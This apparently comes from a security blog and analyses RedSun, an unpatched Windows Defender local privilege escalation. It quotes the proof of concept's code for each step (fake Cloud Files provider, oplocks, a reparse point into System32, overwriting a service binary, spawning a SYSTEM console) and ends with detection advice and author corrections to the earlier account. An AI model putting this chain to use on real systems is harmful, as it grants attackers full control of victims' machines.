//nefariousplan

RedSun: How Windows Defender's Remediation Became a SYSTEM File Write

patterns

The comment is on the line where the Cloud Files provider name is set.

cfreg.ProviderName = L"SERIOUSLYMSFT"; // let's see how long you can play this game, I'm willing to go as far as you want.

BlueHammer's provider was "IHATEMICROSOFT". That one shipped with CVE-2026-33825 and got patched. This one, dropped the same week, uses a different name, a different target, and a fundamentally different primitive. The name changed because the author changed it. The tone did not.

RedSun requires local code execution, an LPE, not RCE. But the chain that follows gets you SYSTEM in four distinct steps: register a fake cloud provider, let Defender open your file, rename the directory out from under it, and wait for Defender to follow the reparse point you just stamped. When it does, it writes your binary into C:\Windows\System32 using its own SYSTEM token. Then you tell it to run.

No patch as of this writing. No CVE assigned.

The Setup: Pipe and Provider

main() starts with two operations before anything interesting happens.

First:

HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN",
    PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,
    NULL, 1, NULL, NULL, NULL, NULL);

This pipe isn't for communication. It's an oracle. A named pipe tracks which session created it. Later, after Defender has been weaponized and a SYSTEM process is running, the code connects back to this pipe and calls GetNamedPipeServerSessionId to recover the session ID of the process that created it. That session ID is how a SYSTEM-privileged process finds its way back into the attacker's interactive session. More on that below.

Second: Cloud Files registration.

cfreg.ProviderName = L"SERIOUSLYMSFT";
cfreg.ProviderVersion = L"1.0";
syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;
syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy,
    CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);

CF_HYDRATION_POLICY_PARTIAL means files in this sync root are permitted to exist as stubs, the kernel won't demand they be fully hydrated before operations proceed. CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT disables automatic hydration of the root itself. This is standard sync client setup. OneDrive uses it. So does Dropbox. The kernel's Cloud Files filter driver (cldflt.sys) treats every registered provider identically because that's the API contract.

Then CfCreatePlaceholders drops a placeholder file into the sync root with a GUID-derived name:

CoCreateGuid(&uid);
StringFromGUID2(uid, wuid, 100);
placeholder[0].FileIdentity = wuid;
placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE |
                       CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
CfCreatePlaceholders(syncroot, placeholder, 1,
    CF_CREATE_FLAG_STOP_ON_ERROR, &processedentries);

CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC tells the Cloud Files filter that this placeholder is synchronized, no pending downloads, no hydration callbacks needed. That's important: it means cldflt.sys won't interrupt Defender's access to ask the sync provider for data. Defender sees a fully accessible file. It scans it.

CfConnectSyncRoot(syncroot, callbackreg, callbackctx,
    CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO |
    CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);

callbackreg[0] = { CF_CALLBACK_TYPE_NONE, NULL }, no callbacks registered. The attacker process connected as the sync provider but registered nothing. This is fine. The filter driver doesn't care that the provider is unresponsive to hydration events. The connection is what matters: it keeps the sync root alive.

Phase One: The First Oplock and the AV Trigger

With the placeholder in place, the main thread opens a second file in the same sync root directory:

OVERLAPPED ovd = { 0 };
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL,
    NULL, NULL, NULL, &ovd);

A batch oplock on hlk (the file in the sync root). FSCTL_REQUEST_BATCH_OPLOCK asks the kernel to grant exclusive cached read/write/handle access. While the oplock is held, any other process that tries to open this file will stall, the kernel won't let the open complete until the oplock holder either releases it or acknowledges the break request. DeviceIoControl returns immediately with ERROR_IO_PENDING; the break will be signaled on ovd.hEvent.

Then the trigger:

// trigger AV response
CreateFile(foo, GENERIC_READ | FILE_EXECUTE,
    FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
    NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (WaitForSingleObject(gevent, 120000) != WAIT_OBJECT_0)
{
    printf("PoC timed out, is real time protection enabled ?");
    return 1;
}

foo is the path to the placeholder file. Opening it with FILE_EXECUTE is the scan trigger, Defender's real-time protection intercepts file opens with execute intent. When Defender's scanner thread tries to open the file, the kernel holds it pending the oplock break. Defender is suspended mid-open.

The oplock break handler runs on a separate thread. When it fires:

DWORD nbytes = 0;
SetEvent(gevent);
ResetEvent(gevent);
GetOverlappedResult(hlk, &ovd, &nbytes, TRUE);

SetEvent(gevent) wakes the main thread. GetOverlappedResult(..., TRUE) acknowledges the break, until this returns, Defender's pending open stays stalled. The oplock break protocol requires the holder to complete before the waiting opener can proceed. The main thread now has a window: Defender is held at the kernel while the main thread rearranges the filesystem.

Phase Two: The Directory Swap and the Reparse Point

The main thread, unblocked by gevent, does four things while Defender waits:

1. Rename the existing workdir out of the way:

wchar_t _tmp[MAX_PATH] = { 0 };
wsprintf(_tmp, L"\\??\\%s.TMP", workdir);
MoveFileEx(workdir, _tmp, MOVEFILE_REPLACE_EXISTING);

The directory containing the placeholder file is moved to workdir.TMP. The path foo (the placeholder) now points at nothing, the directory it was in is gone.

2. Re-create the directory at the same path:

CreateDirectory(workdir, NULL);

Same path, fresh directory. No Cloud Files attributes, no sync root relationship. Just a plain directory at the path Defender was trying to open through.

3. Create a new "spoof work file" and take a second oplock:

LARGE_INTEGER fsz = { 0 };
fsz.QuadPart = 0x1000;
stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE,
    &_objattr, &iostat, &fsz, FILE_ATTRIBUTE_READONLY,
    FILE_SHARE_READ, FILE_SUPERSEDE, NULL, NULL, NULL);
DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL,
    NULL, NULL, NULL, &ovd);

A new file at the same filename (TieringEngineService.exe) inside the new (non-Cloud-Files) workdir. FILE_ATTRIBUTE_READONLY and FILE_SHARE_READ, minimal sharing, read-only. Second oplock placed immediately. This holds the slot in Defender's access sequence: when the first oplock break completes and Defender's thread resumes, it may try to open the file again. The second oplock intercepts that.

4. Stamp the reparse point on the new workdir:

wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" };
rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;
rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);
memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);
DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz,
    NULL, NULL, NULL, NULL);

IO_REPARSE_TAG_MOUNT_POINT is a kernel mount point, not a user-space symlink. Any process, including SYSTEM processes, that accesses a path through workdir\ now resolves to C:\Windows\System32\ at the I/O manager layer, before the path reaches the filesystem driver. The substitution is transparent to the caller. Defender's remediation code, following the tracked path back to the file it was remediating, walks into System32.

GetOverlappedResult on the first oplock break returns now. Defender's suspended open completes. It follows the path. The reparse fires. Defender is writing into System32.

Phase Three: The Timer, the Retry Loop, and the Write

The reparse point is in place. The attacker now needs to be first in line to write TieringEngineService.exe under Defender's SYSTEM open. The waitable timer controls the timing:

HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL);
LARGE_INTEGER duetime = { 0 };
GetSystemTimeAsFileTime((LPFILETIME)&duetime);
ULARGE_INTEGER _duetime = { duetime.LowPart, duetime.HighPart };
_duetime.QuadPart += 0x2FAF080;
duetime.QuadPart = _duetime.QuadPart;
CloseHandle(hfile);

0x2FAF080 is 50,000,000 in FILETIME units (100-nanosecond intervals). That's 5 seconds from now. hfile is closed, releasing the second oplock, then the retry loop starts:

for (int i = 0; i < 1000; i++)
{
    wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" };
    // ...
    stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat,
        NULL, NULL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_SUPERSEDE, NULL, NULL, NULL);
    if (!stat)
        break;
    Sleep(20);
}

FILE_SUPERSEDE with GENERIC_WRITE directly targeting \??\C:\Windows\System32\TieringEngineService.exe. Up to 1000 attempts, 20ms apart, 20 seconds of retries. The loop isn't racing against Defender's write; it's waiting for Defender's SYSTEM-privileged open to resolve through the reparse point and make the write window available. When Defender's thread completes its path traversal, the attacker's NtCreateFile wins the race.

Once the handle is open:

wchar_t mx[MAX_PATH] = { 0 };
GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH);
wchar_t mx2[MAX_PATH] = { 0 };
ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH);
CopyFile(mx, mx2, FALSE);
LaunchTierManagementEng();
Sleep(2000);
CloseHandle(hpipe);

mx is the PoC binary itself, GetModuleFileName(GetModuleHandle(NULL)) returns the path of the currently-running executable. CopyFile(mx, mx2, FALSE) overwrites TieringEngineService.exe with a copy of RedSun. The service binary is now the attacker's payload.

Phase Four: Getting Back Into Your Own Session

LaunchTierManagementEng() triggers execution:

void LaunchTierManagementEng()
{
    CoInitialize(NULL);
    GUID guidObject = { 0x50d185b9,0xfff3,0x4656,
        {0x92,0xc7,0xe4,0x01,0x8d,0xa4,0x36,0x1d} };
    void* ret = NULL;
    HRESULT hr = CoCreateInstance(guidObject, NULL,
        CLSCTX_LOCAL_SERVER, guidObject, &ret);

GUID {50d185b9-fff3-4656-92c7-e4018da4361d} is the Storage Tiering Management Engine service. CLSCTX_LOCAL_SERVER activates it as an out-of-process COM server, the SCM starts the service under its SYSTEM token, and the COM activation completes. The process running is now TieringEngineService.exe, which is now a copy of RedSun.

When the escalated process starts, it detects it's running as SYSTEM:

bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
if (ret) {
    LaunchConsoleInSessionId();
    ExitProcess(0);
}

LaunchConsoleInSessionId() is where the pipe pays off. The SYSTEM process connects to \\.\pipe\REDSUN:

HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD sessionid = 0;
GetNamedPipeServerSessionId(hpipe, &sessionid);
CloseHandle(hpipe);
HANDLE hnewtoken = NULL;
DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL,
    SecurityDelegation, TokenPrimary, &hnewtoken);
SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));

GetNamedPipeServerSessionId returns the session ID of the process that created the pipe, the attacker's original user-mode process, running in the interactive session. SetTokenInformation(TokenSessionId) stamps that session ID onto the duplicated SYSTEM token. Now:

CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe",
    NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);

conhost.exe launches with a SYSTEM token that has the session ID of the attacker's interactive session. A SYSTEM shell appears in the user's console. The escalation is complete, visible, interactive.

The pipe solves a real problem: a service started by the SCM runs in session 0, which is isolated from interactive sessions by Windows session separation (Vista+). Without the session ID transplant, the SYSTEM process would execute in the wrong session, invisible. The named pipe is a cross-session channel that carries only one piece of information: where to put the resulting shell.

What the Existing Writeups Miss

Most coverage of RedSun describes it as "mount point reparse causes Defender to write attacker binary into System32." That's technically accurate but explains nothing about how, specifically, why Defender writes at all, what holds it in place long enough for the reparse to land, and how the resulting SYSTEM process gets back to the attacker.

The two-phase oplock is load-bearing. A single oplock on the Cloud Files placeholder is not sufficient, by the time Defender's scanner thread breaks the oplock, you need the reparse point already stamped on the directory. The first oplock buys the window. The directory rename and fresh CreateDirectory happen during that window. The reparse goes on the new directory. The second oplock holds Defender suspended while that entire sequence completes. Without the second oplock, there's a gap where Defender's pending open could complete before the reparse point lands, the attack becomes a race condition instead of a deterministic sequence.

The placeholder file name matters. The GUID-derived name (CoCreateGuidStringFromGUID2) avoids collisions with any existing Cloud Files state. CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC specifically suppresses hydration callbacks, without it, cldflt.sys would try to hydrate the placeholder through the sync provider (the attacker process) before allowing access, which would give Defender's open a different failure mode.

FILE_SUPERSEDE in the retry loop is not FILE_OVERWRITE. FILE_SUPERSEDE tells the kernel to replace the existing file object wholesale, not just overwrite its data, which works even if the file has active handles open on it. FILE_OVERWRITE would fail with STATUS_SHARING_VIOLATION if Defender's scanner still has the file open. The retry loop uses FILE_SUPERSEDE specifically to win against concurrent open handles.

The Security Model These Two Bugs Break

RedSun and BlueHammer attack the same assumption from different angles.

The assumption: "Defender operates at SYSTEM privilege, therefore its writes are authorized writes to authorized paths."

The actual mechanism: "Defender writes to whatever NT object path resolves at the moment the write occurs."

These two statements are equivalent only if Defender controls path resolution. It doesn't. A standard user can:

  • Call CfRegisterSyncRoot, no elevation required, documented API used by every cloud storage client
  • Call NtCreateSymbolicLinkObject in a session-local object namespace (\Sessions\<id>\BaseNamedObjects\)
  • Call FSCTL_SET_REPARSE_POINT on a directory they own, no elevation required, documented NTFS operation

None of these are bugs. The kernel enforces them by design. The attack chains them in a sequence Defender's remediation engine was not designed to validate against.

The BlueHammer fix validated the specific oplock+VSS interaction. RedSun doesn't touch VSS or update workflows. The class, "attacker-influenced path resolution under a SYSTEM write", is untouched by that patch.

A class fix requires Defender's remediation engine to canonicalize write targets before committing: resolve the final path after all reparse points, verify it falls within an expected namespace, reject the write if it doesn't. That's a non-trivial change to hot code paths that haven't been written with that constraint in mind.

The name changed from "IHATEMICROSOFT" to "SERIOUSLYMSFT". The comment says the researcher is willing to go further. UnDefend, the third drop, same month, runs from a standard user account, requires no elevation at all, and makes Defender permanently unable to update its signatures. The comment in that one, at line 209, is addressed directly to the reader.

The sequence is deliberate and the class remains open.

What You Can Do

No patch exists for RedSun. The BlueHammer fix (Antimalware Platform 4.18.26050.3011) does not apply, different APIs, different attack path entirely.

Detect the Cloud Files registration. CfRegisterSyncRoot from any process other than known sync clients (OneDrive, Dropbox, Box) is anomalous. Specifically: a provider named "SERIOUSLYMSFT" will not appear in a legitimate deployment. Log CfRegisterSyncRoot calls via ETW (Microsoft-Windows-CloudFiles provider). Alert on unrecognized provider names.

Detect the reparse point. FSCTL_SET_REPARSE_POINT with IO_REPARSE_TAG_MOUNT_POINT stamped on a directory that is also a Cloud Files sync root does not happen in normal operations. Defender for Endpoint's kernel sensor logs FSCTL operations, this combination is a high-fidelity indicator.

Monitor TieringEngineService.exe. Hash %WINDIR%\System32\TieringEngineService.exe. Any unexpected modification is a terminal indicator, the overwrite has already occurred at that point, but catching it before the LaunchTierManagementEng() COM activation fires is still actionable. The Sleep(2000) between CopyFile and pipe cleanup is a brief window.

Named pipe as indicator. A non-system process holding a named pipe \\.\pipe\REDSUN (or any GUID-named pipe with similar creation flags) waiting for a SYSTEM process to connect is observable via handle enumeration. The pipe creation happens at main() start and persists until CloseHandle(hpipe) at the end, that's the full attack duration.

A reader's questions prompted a re-read of the source. Three corrections to the writeup above. The timer is dead code. Lines 733-738 compute a duetime value but SetWaitableTimer is never called. The post described a 5-second window before the retry loop. There is no 5-second window. CloseHandle(hfile) at line 739 fires immediately after the duetime computation. The phase order is wrong. The post described Cloud Files setup happening before the AV trigger. In the actual code: the EICAR file is written and triggered first. ShadowCopyFinderThread handles the VSS oplock while main deletes the EICAR and creates the Cloud Files placeholder. The first oplock is on the VSS snapshot copy of the file, not the placeholder. Cloud Files is set up after the trigger, not before. The FILE_SUPERSEDE mechanic was understated. The post explains why FILE_SUPERSEDE avoids STATUS_SHARING_VIOLATION when Defender has the file open, but skips why a standard user gets write access afterward. When FILE_SUPERSEDE wins the race and creates a new file object at System32\TieringEngineService.exe, the attacker's token becomes the file's creator. The CREATOR OWNER ACE inherited from System32's directory DACL then gives the creator full control. That is why CopyFile succeeds after hlk is closed: the standard user owns the superseded file.